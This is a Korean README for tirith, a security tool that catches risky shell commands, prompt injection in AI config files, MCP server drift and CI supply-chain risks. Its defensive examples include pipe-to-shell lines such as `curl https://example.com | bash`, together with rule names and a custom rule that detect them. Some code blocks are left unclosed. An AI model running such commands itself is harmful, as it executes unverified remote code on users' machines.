`tirith mcp verify`는 게이팅 동반 명령입니다: 커밋된 lockfile에 대해 현재 인벤토리를 재구성하고 드리프트 또는 불완전/거부된 config 커버리지 시 1로 종료합니다(일치 시 0, lockfile 누락 같은 사용 오류 시 2). `tirith mcp diff`는 동일한 드리프트 정보를 정보성으로 보고합니다(항상 0으로 종료, 사용 오류 시에만 2로 종료하므로 소비자는 "드리프트 없음"과 "확인할 수 없음"을 구분할 수 있음). 드리프트는 `tirith scan`을 통해 `mcp_server_drift`(Medium 또는 High)로도 표면화되므로, pre-commit 훅이나 CI가 고정되지 않은 action을 잡아내는 방식으로 MCP 표면 변경을 잡아냅니다. `verify` / `diff`는 env 값이나 URL userinfo를 절대 출력하지 않고, 변경된 항목의 이름만 출력합니다.

무엇이 수락되는지 governing하는 두 개의 정책 필드가 있습니다. 둘 다 소스 경로, 서버 이름, 전송 방식을 바인딩하는 불투명한 `mcp:v1:...` 정체성으로 키가 지정됩니다: `scan.trusted_mcp_servers`는 해당 정확한 서버의 config 발견 사항과 드리프트를 억제하고, `scan.mcp_allowed_tools`는 노출할 수 있는 정확한 도구를 선언합니다. 베어 이름은 의도적으로 아무것도 매치하지 않으므로, 다른 config의 동일 이름 서버가 신뢰를 상속할 수 없습니다. 명시적 도구 허용 목록은 또한 운영자 승인 라이브 디스크립터 세트를 요구하며 정적 선언과 라이브 디스크립터 이름을 모두 검사합니다. `tirith mcp policy init`을 실행하여 정확한 키를 `.tirith/mcp-policy.yaml.example`에 스캐폴딩한 다음, 게이트웨이의 `--mcp-server-identity ... --approve-descriptors` 흐름을 사용하여 검사된 `tools/list` 기준선을 원자적으로 캡처하세요. 모든 스캐폴드 항목은 주석 처리되어 있으므로 가져오기가 조용히 신뢰를 넓히지 않습니다.

### Config 파일 스캐닝

`tirith scan`은 AI config 파일에서 프롬프트 주입과 숨겨진 페이로드를 감지합니다. 50개 이상의 알려진 AI config 파일 패턴을 우선순위로 스캔합니다:

- `.cursorrules`, `.windsurfrules`, `.clinerules`, `CLAUDE.md`, `copilot-instructions.md`
- `.claude/` 설정, 에이전트, 스킬, 플러그인, 규칙
- `.cursor/`, `.vscode/`, `.windsurf/`, `.cline/`, `.continue/`, `.roo/`, `.codex/` config
- `mcp.json`, `.mcp.json`, `mcp_settings.json`
- `.github/copilot-instructions.md`, `.github/agents/*.md`

**config에서 잡아내는 것:**

- **프롬프트 주입** (스킬 활성화 트리거, 권한 우회 시도, 안전성 무시, 정체성 재할당, 교차 도구 재정의 지시). 각 파일은 원시 및 디오브푸스케이트(보이지 않는 문자, 혼동 문자, 문자 간 간격, leetspeak, 짧은 base64 / hex) 모두로 스캔되므로, 인코딩 뒤에 숨겨진 시드도 여전히 발동합니다
- **보이지 않는 유니코드**: 제로 폭 문자(몽골 모음 구분자 포함), bidi 제어 문자, 소프트 하이픈, 유니코드 태그, 한글 필러, 보이지 않는 공백 인코딩, 수학 영숫자 혼동 문자
- **MCP config 문제**: 안전하지 않은 HTTP 연결, 원시 IP 서버, args 내 셸 메타문자, 중복 서버 이름, 와일드카드 도구 접근

### CI / 저장소 공급망 스캐닝

`tirith scan`은 또한 저장소가 자체 빌드 및 배포 파이프라인을 설명하기 위해 체크인하는 파일을 검사합니다. 위험한 *패턴*을 감지하며, 도구 자체를 감지하지 않습니다: SHA로 고정된 action, digest로 고정된 이미지, 로컬 Terraform 모듈, 일반 `package.json`은 깨끗하게 유지됩니다.

**CI / 인프라 파일에서 잡아내는 것:**

- **GitHub Actions 워크플로** (`.github/workflows/*.yml`), 커밋 SHA 대신 변경 가능한 ref(`@v3`, `@main`)로 고정된 action `uses:` 참조; `pull_request_target` 트리거; `run:` 단계의 `curl … | bash` pipe-to-shell; `run:` 셸 단계에 보간된 공격자 제어 가능 `${{ github.event.* }}` 값 (스크립트 주입)
- **Dockerfile**: `@sha256:` digest 고정 없이 변경 가능한 `latest` 태그(또는 태그 없음)의 `FROM` 베이스 이미지
- **Terraform** (`*.tf`), 로컬 경로나 Terraform Registry가 아닌 원격 / 신뢰할 수 없는 위치에서 소싱된 `module` 블록
- **Helm 차트** (`Chart.yaml`), 신뢰할 수 없는 차트 저장소의 차트 의존성
- **`package.json`**: 위험한 명령(pipe-to-shell, 난독화된 페이로드, 다운로드 후 실행)을 실행하는 `preinstall` / `install` / `postinstall` 라이프사이클 스크립트; 이 훅은 `npm install` 시 자동으로 실행됨

세 가지 내장 `--profile` 값이 스캔을 조정합니다: `ci-hardening` (모든 검사를 최대 강도로, `high`에서 실패), `ai-agent-repo` (주입 발견 사항은 유지하고 저가치 고정 위생 노이즈는 제거), `oss-maintainer` (변경 사항을 검토할 때 기여자 제어 가능 위험을 강조).```bash
tirith scan ./                          # scan the repo
tirith scan --profile ci-hardening ./   # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif

### Linux 패키지

**Debian / Ubuntu (.deb):**

[GitHub Releases](https://github.com/sheeki03/tirith/releases/latest)에서 다운로드한 후:```bash
sudo dpkg -i tirith_*_amd64.deb

Linux GNU 릴리스 바이너리는 GLIBC 2.28 상한을 대상으로 합니다. CI는 AlmaLinux 8, Amazon Linux 2023, Rocky Linux 9에서 x86_64 및 aarch64 tarball을 모두 실행합니다. `.deb`와 x86_64 `.rpm`에는 동일한 표준 바이너리가 포함되어 있습니다.

**Arch Linux (AUR):**```bash
yay -S tirith
# or: paru -S tirith

### Android (Termux)

Android/Termux는 glibc가 아닌 Bionic libc에서 실행되므로, `aarch64-unknown-linux-gnu`
빌드는 그곳에서 실행될 수 없으며, glibc의 동적 링커가 필요합니다. 대신 **musl** 빌드를
사용하세요: `tirith-aarch64-unknown-linux-musl.tar.gz`는 정적으로 링크되어 있어
외부 libc 없이 Termux에서 실행됩니다.```bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
  https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version

> [!NOTE]
> Termux 지원은 최선의 노력으로 제공됩니다. musl 아티팩트는 CI에서 빌드되고 스모크 테스트되지만, tirith는 아직 실제 Android 기기에서 지속적으로 테스트되지 않습니다.
> Termux에서 훅이 오작동하면 `tirith doctor` 출력과 함께 이슈를 열어 주세요.

### Windows

Windows는 탐지, 스캔, 웹훅, 정책 관리, 감사 업로드, `tirith setup`을 지원합니다. PowerShell 훅은 PSReadLine 사전 실행 가로채기를 제공하지만, 엄격한 수락 후 실행 영수증을 주장하지는 않습니다. 라이브 원격 스크립트 실행과 데몬 모드는 Windows에서 여전히 사용할 수 없습니다.

**Scoop:**```powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

Chocolatey 검토는 GitHub 릴리스보다 늦어질 수 있습니다. `choco info tirith`를 실행하여
현재 승인된 버전을 확인하세요. Chocolatey 검토가 완료되기 전에 최신 릴리스가
필요한 경우 Scoop이나 [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest)의
서명된 아티팩트를 사용하세요.

### 크로스 플랫폼

**npm:**```bash
npm install -g tirith

**[Mise](https://mise.jdx.dev/)** (공식 레지스트리):```bash
mise use -g tirith

**Docker:**```bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

| Shell | Hook type | Tested on |
|-------|-----------|-----------|
| zsh | accept-line + paste widgets | 5.8+ |
| bash | enter-key macro 또는 preexec (두 가지 모드) | 3.2 호환 경로; 완전히 테스트된 최신 경로는 5.0+ |
| fish | Enter-key + paste handlers | 3.5+ |
| PowerShell | PSReadLine handler | 7.0+ |

Bash는 기능 자체 테스트가 해당 bash에서 작동함을 입증한 경우 enter 모드를 사용하고, 그렇지 않으면 preexec를 사용합니다. 0.4.1부터 이 자체 테스트는 기본 GNU bash에서 통과하므로, `tirith setup` 또는 `tirith doctor`가 이를 실행한 후에는 enter 모드가 일반적인 결과입니다. 셸 훅은 시작 시 캐시된 판정을 읽습니다. 모드, 자체 테스트, SSH 폴백 동작에 대한 자세한 내용은 [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode)을 참조하세요.

macOS의 시스템 Bash 3.2는 최신 차단 기준이 아니라 호환성 경로로 남아 있습니다. 해당 DEBUG-trap 동작은 트램폴린이 고정되는 것을 방해할 수 있습니다. Tirith는 하트비트가 이를 관찰할 수 있을 때 발생하는 성능 저하를 알리며, 이는 한 명령 이후일 수 있습니다. 엄격한 Bash 권한 부여 게이트가 필요한 경우 Bash 5+ 또는 입증된 enter 모드 경로를 사용하세요.

> [!WARNING]
> Bash의 preexec 모드는 기본적으로 경고 전용입니다. 조건부 차단을 위해서는 `TIRITH_BASH_PREEXEC_ENFORCE=1`을 설정하세요. Tirith는 신뢰할 수 있는 입력된 줄을 한 번 스캔하고, 차단 판정 이후에만 자체 `extdebug`를 활성화하며, `PROMPT_COMMAND`가 실행되기 전에 이를 해제합니다. 프롬프트 경계나 호출자 소유의 DEBUG 트랩을 안전하게 보존할 수 없거나 `extdebug`가 이미 사용자에 의해 활성화된 경우, Tirith는 셸 상태를 덮어쓰는 대신 preexec 가로채기를 눈에 띄게 비활성화합니다.

#### 셸별 적용

| Shell | 동작 |
|---|---|
| bash **enter 모드** | **신뢰할 수 있는 차단.** Enter를 readline 매크로에 바인딩하여 검사기를 실행한 후 보호된 accept-line을 실행하므로, bash가 명령 실행을 확정하기 전에 명령을 중단할 수 있습니다. 기능 자체 테스트(`tirith doctor --simulate-enter`)가 실행 중인 bash에 대한 전달과 차단을 입증한 곳에서 선택되며, 0.4.1부터는 기본 GNU bash에서 이를 입증합니다. 지속된 안전 모드 플래그, SSH 세션, 또는 강제된 `TIRITH_BASH_MODE=preexec`는 여전히 preexec를 선택합니다. |
| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **조건부 차단.** 신뢰할 수 있는 전체 줄 하나를 스캔한 후, 차단 시에만 Tirith 소유의 `extdebug`를 켜고 다음 프롬프트에서 복원합니다. 기존 문자열/배열 `PROMPT_COMMAND` 항목은 순서를 유지하며 스캔 외부에서 실행됩니다. 기록이 필터링되거나 별칭 / 명령 치환 / `eval`로 인해 입력된 줄이 `BASH_COMMAND`와 달라지는 경우 적용은 눈에 띄게 거부되거나 다운그레이드됩니다. 안전하지 않은 프롬프트/DEBUG 소유권 또는 사용자 소유의 `extdebug`는 사용자 상태를 변경하는 대신 가로채기를 명시적으로 비활성화합니다. |
| bash **preexec** (enforce 플래그 없음) | 경고 전용. 위험한 명령에 DETECTED 배너를 출력하며 차단하지 않습니다. enter 모드 자체 테스트가 전달이 작동함을 입증하지 못했거나 enter 모드를 사용할 수 없는 경우의 폴백입니다. |
| zsh, fish | 네이티브 셸 핸드오프 전에 Enter/accept-line 핸들러에서 신뢰할 수 있는 차단. 알림 전용 preexec 이벤트는 권한 부여 게이트로 취급되지 않습니다. |
| PowerShell | 신뢰할 수 있는 PSReadLine 사전 검사 차단; 엄격한 실행 영수증 없음. |
| nushell | 경고 전용 (현재 명령 가로채기를 지원하지 않음). |

bash에서 줄 수준 차단을 위해서는 `tirith doctor --simulate-enter`를 실행하세요. 전달이 작동하면 enter 모드가 활성화됩니다. 작동하지 않는 경우 "가능할 때 차단하고, 불가능할 때는 솔직하게 알려주는" preexec enforce를 사용하세요.

대화형 bash, zsh, fish는 사전 검사 결정 이후 프로토콜-v3 실행 영수증을 사용합니다. 훅 로드 시 이들은 하나의 절대 Tirith 실행 파일을 확인하고 고정하며, 라이브 셸 프로세스, 셸 패밀리, 세션, 사용자, 실행 파일 신원에 바인딩된 일회성 기능을 등록합니다. 그런 다음 영수증은 `Prepared`, `Armed`, `Consuming`, 그리고 최종 `Committed`/`Conflict`/`Discarded` 상태를 거칩니다. 이는 귀속성과 재생 저항성을 향상시키지만, 셸 증거는 모든 명령 구성 요소가 실행되었다는 증명이 아니라 의도적으로 미해결로 기록됩니다. Tirith 자체가 무장된 영수증을 반환하기 전에 모든 승인 또는 경고 확인 프롬프트를 소유합니다. 훅은 나중에 그러한 사실을 첨부할 수 없습니다. Zsh와 fish는 동일한 줄 수락 핸들러에서 무장된 영수증을 동기적으로 소비하고, 해당 전환이 성공한 후에만 명령을 네이티브 셸에 넘깁니다. PowerShell은 이 엄격한 영수증 프로토콜 없이 사전 검사 차단을 수행합니다.

중첩 셸은 세션 ID를 상속하더라도 자체 프로세스 바인딩 기능을 받습니다. 동일한 프로세스에서 훅을 다시 소싱해도 또 다른 베어러가 발급되지 않습니다. `exec`가 PID/시작 신원을 변경하지 않고 라이브 셸을 교체하는 경우, 교체된 셸은 의도적으로 내보내지 않은 베어러를 복구할 수 없으며 눈에 띄게 저하된 레거시 모드로 실행됩니다. 엄격한 영수증을 복원하려면 새 터미널이나 자식 셸을 시작하세요. `exec "$SHELL"`은 해당 프로세스 신원을 보존하므로 영수증 프로토콜 재시작이 아닙니다.

**Nix / Home-Manager:** 훅이 소싱될 때 tirith가 `$PATH`에 있어야 합니다. 그러면 Bash, zsh, fish는 해당 셸 세션 동안 확인된 실행 파일을 고정합니다. 바이너리를 교체하거나 업그레이드한 후에는 셸을 재시작하세요. `initContent`에 추가하는 것만으로는 충분하지 않습니다.```nix
home.packages = [ pkgs.tirith ];

programs.zsh.initContent = ''
  eval "$(tirith init --shell zsh)"
'';

**`tirith verify-self`**는 실행 중인 바이너리가 공식 릴리스에서 나온 정품이며 수정되지 않은 바이너리인지 확인합니다. 사용자의 버전과 대상에 맞는 릴리스 아카이브를 다시 다운로드하고, 서명된 릴리스 `checksums.txt`와 대조하여 검증하며, [`cosign`](https://github.com/sigstore/cosign)이 설치되어 있으면 `checksums.txt`에 대한 cosign 서명을 검증하고, 실행 중인 바이너리가 공식 바이너리와 바이트 단위로 동일한지 확인합니다. 전체 검증이 불가능한 경우, 로컬 개발 빌드, 네트워크 없음, tirith가 식별할 수 없는 설치 방식 등에서는 거짓으로 "verified"를 보고하는 대신 솔직하게 그렇다고 알려줍니다. `cosign`이 없으면 체크섬은 여전히 검증됩니다(`verified-checksum-only`로 보고됨). 전체 서명 검증(`verified-signed`)을 위해서는 `cosign`을 설치하세요.

**`tirith update`**는 패키지 관리자를 인식합니다:

- **패키지 관리자 설치**(Homebrew, cargo, npm, Scoop, AUR, apt/dnf)는 절대 자체 수정되지 않습니다. tirith는 대신 실행할 정확한 명령을 출력합니다. 예: `brew upgrade tirith`. 패키지 관리자를 통해 업데이트하면 해당 데이터베이스의 일관성이 유지됩니다.
- **자체 교체 가능 설치**(`install.sh` tarball, 독립 실행형 바이너리, 또는 Hermes 루트(`HERMES_HOME`, 해당 변수가 설정되지 않은 경우 `~/.hermes`; Unix 전용) 아래에 안전하게 소유된 Tirith 릴리스 캐시)는 제자리에서 업데이트됩니다: tirith는 최신 릴리스를 다운로드하고, 검증한 다음, 바이너리를 원자적으로 교체하면서 이전 바이너리를 `tirith.tirith-previous` 사이드카로 유지합니다. cosign 서명은 **기본적으로** 검증됩니다: 검증할 수 없는 경우(cosign 누락 또는 릴리스에 서명이 게시되지 않음) 업데이트가 중단됩니다. 체크섬 전용 검증으로 대체하려면 `--allow-unsigned`를 전달하세요. 체크섬 불일치는 항상 중단됩니다. `tirith update --rollback`은 이전 바이너리로 되돌립니다. `--dry-run`은 아무것도 변경하지 않고 어떤 일이 일어날지 보여줍니다. 업데이트는 항상 명시적입니다: Tirith는 백그라운드에서 새 바이너리를 확인하거나 설치하지 않습니다.

> [!NOTE]
> 설치 스크립트(`scripts/install.sh` 및 Windows `install.ps1`)도 **기본적으로** 릴리스의 cosign 서명을 검증하며, [`cosign`](https://github.com/sigstore/cosign)이 없거나 서명을 검증할 수 없으면 중단됩니다. 먼저 `cosign`을 설치하거나, `TIRITH_ALLOW_UNSIGNED=1`을 설정하여 체크섬 전용 검증으로 설치하세요(권장하지 않음). 체크섬 또는 서명 불일치는 이 옵트아웃과 관계없이 항상 중단됩니다.

### 셸 통합

**Oh-My-Zsh:**```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)

액션의 고정된 의존성은 Node 24 액션 런타임을 사용합니다. 자체 호스팅
러너는 [Actions Runner v2.327.1 이상](https://github.com/actions/runner/releases/tag/v2.327.1)을 사용해야 합니다;
GitHub 호스팅 러너는 이미 이 요구 사항을 충족합니다.

이 저장소의 `.pre-commit-hooks.yaml`에서 확인할 수 있는 **pre-commit 훅**으로도 사용할 수 있습니다.

Scan은 대상 지정 CI 스캐닝을 위해 `--include`, `--exclude`, `--profile`(정책에서 명명된 프로필을 로드), `--ignore` 필터를 지원합니다.

### 규칙 문서```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

x86_64 Linux에서 Tirith가 고정된 root 관리 시스템 경로에 설치되어 있고 명령의 URL, 셸, 인자, stdin 동작을 정확히 디코딩할 수 있을 때, 재작성은 pipe-to-shell을 Tirith의 경계가 정해지고, 검토되고, 해시 검증되며, fail-closed 방식인 캡슐 러너를 통해 라우팅합니다. 절대 Tirith 경로는 이후의 `PATH` 섀도잉이 실행되는 대상을 바꾸지 못하게 합니다. 실행 시 러너는 또한 선택된 인터프리터의 첫 번째 `PATH` 히트가 root 관리 대상일 것을 요구하고, 다운로드 전에 그 바이트를 바인딩하며, 원격 shebang을 신뢰하는 대신 해당 셸을 보존합니다. 다른 아키텍처, 플랫폼, 사용자 소유 Tirith 설치에서는 이 교정 조치가 지침으로 유지됩니다. curl의 경우, 실행 가능한 재작성은 추가로 fail-on-HTTP-error 및 redirect-following 의미론(`-f`와 `-L`, `-fsSL`과 같은 번들 포함)을 모두 요구합니다. 동적이거나 잘못된 형식의 URL 토큰, 지원되지 않는 인터프리터 인자, PowerShell, Cmd, 모호한 파이프라인은 지침 전용으로 남습니다. 실행 가능한 제안은 검증된 fail-closed 파이프 러너로 제한됩니다. 아카이브, dotfile, TLS 플래그 제거, HTTP-to-HTTPS 변경, sudo 축소, 환경 정리, 패키지 이름 교정은 해당 셸, 네트워크, 권한, 환경 또는 레지스트리 의미론이 기계적으로 증명될 수 없기 때문에 지침 전용입니다. 안전한 기계적 재작성이 없는 모든 발견 사항에 대해 Tirith는 그렇게 명확히 밝히고 교정 조치를 대신 보여줍니다. 추측한 명령을 절대 내보내지 않습니다. 이 플래그는 권고용입니다. 판정이나 종료 코드를 바꾸지 않습니다.

### 데몬 모드 (Unix)

서브밀리초 지연 시간과 네트워크 인식 강화(단축 URL 해석, DNS 차단 목록 검사)를 위한 선택적 백그라운드 프로세스:```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

`tirith policy init`는 큐레이션된 스타터 정책을 위해 `--template <name>`을 받습니다:```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

한 규칙에 대해서는 소스를 신뢰하지만 전역적으로 허용 목록에 추가하고 싶지 않은 경우, 규칙 범위 억제를 위해 `allowlist_rules`를 사용하세요:```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

각 항목의 **scope**는 `exact`, `substring`, `domain`, `wildcard`, `bare-TLD` 중 하나로 분류됩니다. 모든 비-exact scope(`substring` / `domain` / `wildcard` / `bare-TLD`)는 `--broad`를 필요로 하므로, 광범위한 허용은 항상 의도적인 선택입니다. Exact URL은 정규화된 URL 동등성(scheme, host, effective port, path, query, fragment 포함)을 사용하며, 절대 부분 문자열 매칭을 사용하지 않습니다. 모든 하위 명령은 `--format json`을 지원합니다. 이전 버전의 tirith가 작성한 trust store는 변경 없이 계속 작동하며, TTL이 없는 항목은 영구적인 것으로 취급됩니다.

### 에스컬레이션 및 액션 재정의

경고는 세션별로 추적됩니다. 동일한 규칙이 반복적으로 발동되면, 에스컬레이션 규칙이 차단으로 격상할 수 있습니다:```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

셸 종료 시, 세션 중 경고가 기록된 경우 한 줄 요약이 출력됩니다.

더 많은 예시는 [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md)에서 확인할 수 있습니다.

### 사용자 정의 탐지 규칙

`.tirith/policy.yaml`의 `custom_rules:` 아래에 직접 규칙을 작성하세요. 각 규칙은 `pattern:`(정규식) 또는 `when:` 의미론적 조건 트리 중 하나이며, `context:`(`exec`, `paste`, 또는 `file`), `severity:`, `title:`을 포함합니다.```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

### 추가 정책 제어

다른 정책 키들은 모두 안전한 기본값을 가집니다(`tirith policy init`이 전체 주석이 달린 세트를 작성합니다):

- `package_policy:` 임계값은 공급망 신호를 차단 또는 경고 판정으로 전환합니다(`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:`는 명령의 호출자 출처(`{ kind, name }`)와 일치합니다. `deny` 일치는 차단을 강제합니다. `scan.trusted_mcp_servers`와 `scan.mcp_allowed_tools`는 특정 MCP 서버와 서버별 도구를 허용합니다.
- 선택적 가드, 기본 비활성화: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, 그리고 `iac_require_plan_before_apply`, `sudo_require_reason`, `allowed_install_domains`.

저장소 범위의 `.tirith/policy.yaml` 파일은 강화만 할 수 있고 약화할 수는 없습니다. 허용 목록을 넓히거나, 심각도를 낮추거나, 가드를 비활성화하려는 저장소 정책은 무력화되며, `tirith policy effective`는 어떤 필드가 제거되었는지 보여줍니다. 사용자 수준 및 조직 수준(`TIRITH_POLICY_ROOT`) 정책만이 기본값을 완화할 수 있습니다.

### 엄격 경고 모드

`strict_warn: true`(또는 CLI에서 `--strict-warn`)를 사용하면 중간 위험 발견 사항이 대화형 터미널에서 조용히 경고하는 대신 명시적 확인을 요구합니다:```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

이것은 표준 셸의 명령별 접두사입니다. 변수는 해당 단일 명령에만 존재하며 세션에 지속되지 않습니다. 조직은 정책에서 `allow_bypass_env: false`로 이를 완전히 비활성화할 수 있습니다.

> [!CAUTION]
> `TIRITH=0`은 명령별입니다. 셸 프로필, dotfile 또는 CI 구성에서 export하지 마십시오. 영구적인 우회는 전체 보호 모델을 무력화합니다. 자주 사용하게 된다면 대신 신뢰할 수 있는 소스를 정책 파일의 `allowlist`에 추가하십시오.

---

## 데이터 처리

`~/.local/share/tirith/log.jsonl`에 위치한 로컬 JSONL 감사 로그:
- 타임스탬프, 세션 ID, 작업, 규칙 ID, 마스킹된 명령 미리보기
- 커버리지 감사를 위해 적용된 작업과 함께 보존되는 원시 탐지 데이터(`raw_action`, `raw_rule_ids`)
- `~/.local/state/tirith/sessions/`에 위치한 세션 경고 상태
- 전체 명령, 환경 변수 또는 파일 내용은 **포함되지 않음**

비활성화: `export TIRITH_LOG=0`

---

## 문서

- [명령 참조](https://github.com/sheeki03/tirith/blob/main/docs/commands.md): 카테고리별로 그룹화된 모든 하위 명령
- [기능 매트릭스](https://github.com/sheeki03/tirith/blob/main/docs/capability-matrix.md): 명령별 커버리지(tirith가 검사하는 항목과 정책이 이를 완전히 통제하는지 여부)
- [집행 커버리지](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md): 탐지, 사전 점검 결정, 실행 집행, 격리, 증명을 분리한 기능별 원장
- [위협 모델](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md): tirith가 방어하는 대상과 방어하지 않는 대상
- [쿡북](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md): 일반적인 설정을 위한 정책 예시
- [문제 해결](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md): 셸 특이사항, 지연 시간, 오탐
- [호환성](https://github.com/sheeki03/tirith/blob/main/docs/compatibility.md): 안정 vs 실험적 표면
- [0.4.2 릴리스 노트](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.2.md): 현재 패치 릴리스에서 변경된 사항, 그리고 0.4 라인의 하이라이트, 제한 사항, 게시 계약에 대한 [0.4.0 릴리스 노트](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md)
- [릴리스 체크리스트](https://github.com/sheeki03/tirith/blob/main/docs/release-checklist.md): 보호된 게시 순서 및 레지스트리 검증
- [보안 정책](https://github.com/sheeki03/tirith/blob/main/SECURITY.md): 취약점 보고
- [제거](https://github.com/sheeki03/tirith/blob/main/docs/uninstall.md): 셸 및 패키지 관리자별 깨끗한 제거

기능 가이드:

- [Web3 명령 가드](https://github.com/sheeki03/tirith/blob/main/docs/security/web3-command-guard.md) (`web3_guard` 정책, 세 가지 Web3 규칙, command-card v2 바인딩)
- [작업 봉투](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md) (신뢰할 수 없는 작업 출처, `task_gate` 정책, 미리보기 MCP 도구)
- [신뢰할 수 없는 프로젝트](https://github.com/sheeki03/tirith/blob/main/docs/untrusted-projects.md) ("누군가 나에게 저장소를 보냈습니다" 워크플로)
- [CI 아티팩트 흐름](https://github.com/sheeki03/tirith/blob/main/docs/ci-artifact-flow.md) (워크플로 간 빌드 아티팩트 오염)
- [브라우저 확장 감사](https://github.com/sheeki03/tirith/blob/main/docs/browser-extension-audit.md) (읽기 전용 Chromium 계열 무결성 감사)
- [npm 출처 영수증](https://github.com/sheeki03/tirith/blob/main/docs/npm-provenance-receipt.md) (`pkg attest-npm`, 그리고 이것이 바인딩하지 않는 것)
- [증명 영수증](https://github.com/sheeki03/tirith/blob/main/docs/attestation-receipts.md) (특정 시점의 빌드 및 배포 영수증)
- [롤아웃 및 롤백](https://github.com/sheeki03/tirith/blob/main/docs/web3-task-rollout.md) (단계적 활성화, 트리거, 백아웃 플레이북)
- [에이전트 거버넌스](https://github.com/sheeki03/tirith/blob/main/docs/agent-governance-design.md) (호출자 출처 귀속 및 `agent_rules`)
- [MCP 출력 필터](https://github.com/sheeki03/tirith/blob/main/docs/mcp-output-filter.md) (게이트웨이 및 MCP 출력 정제 계약)
- [Doctor 모드](https://github.com/sheeki03/tirith/blob/main/docs/doctor-modes.md) (전체 vs `--quick`, 그리고 JSON 스냅샷 스키마)
- [LSP 및 에디터 프로필](https://github.com/sheeki03/tirith/blob/main/docs/lsp-profiles.md) (인라인 에디터 진단)
- [브라우저 네이티브 메시징](https://github.com/sheeki03/tirith/blob/main/docs/browser-native-messaging.md) (클립보드 출처 호스트 및 확장)
- [붙여넣기 출처](https://github.com/sheeki03/tirith/blob/main/docs/paste-provenance.md) (`paste_source_mismatch` 규칙)
- [카나리 형식](https://github.com/sheeki03/tirith/blob/main/docs/canary-formats.md) (합성 허니토큰 형식)
- [프롬프트 통합](https://github.com/sheeki03/tirith/blob/main/docs/prompt-integration.md) (`tirith prompt-status`를 셸 프롬프트에 연결)

## 라이선스

**핵심 보안 커버리지는 오픈소스 트리에서 제공됩니다.** 244개의 모든 탐지 규칙과 MCP 서버는 소스에서 사용할 수 있습니다. 저장소에는 여전히 레거시 라이선싱 및 정책 서버 코드 경로가 있으므로 모든 런타임 경로가 이미 티어 프리라고 가정하지 마십시오.

tirith는 이중 라이선스입니다:

- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/main/LICENSE-AGPL), 카피레프트 조건 하에 무료
- **상업용**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/main/LICENSE-COMMERCIAL), AGPL 카피레프트 의무가 사용 사례에 맞지 않는 경우 대체 라이선싱을 위해 [email protected]로 문의하십시오

제3자 데이터 출처 표시는 [NOTICE](https://github.com/sheeki03/tirith/blob/main/NOTICE)에 있습니다.

## Star History

[![Star History Chart](https://star-history.dera.page/svg?repos=sheeki03/tirith&type=Date)](https://star-history.dera.page/#sheeki03/tirith&Date)